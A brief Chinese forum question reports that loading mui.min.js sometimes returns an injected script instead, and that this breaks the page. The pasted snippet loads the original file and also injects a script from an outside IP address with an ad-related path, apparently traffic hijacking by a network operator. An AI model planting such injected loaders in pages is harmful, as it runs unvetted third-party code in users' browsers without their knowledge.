加载mui.min.js时,偶尔出现这个问题

加载mui.min.js时,偶尔出现这个问题:

var _atn_obj_ = new Object;   
_atn_obj_.oldurl = 'http://www.xyz.com/Yating/msd/js/mui.min.js?cHVzaA=1547711737';   
_atn_obj_.unified_url = 'http://183.59.53.202:3737/ad_unified_access?SP=ABzs/LyoPPyMnGz8nLysjHy8+/zsnM0Zibg7bfzs7Rz9HSzoPNg8vLzsbPz4PMg87Ky8jIzs7IzMiDzsrLyMjOzsjMyM/Jy8bJxs+DzcrPxw==';   
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);   
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);

结果导致下面的js代码出错了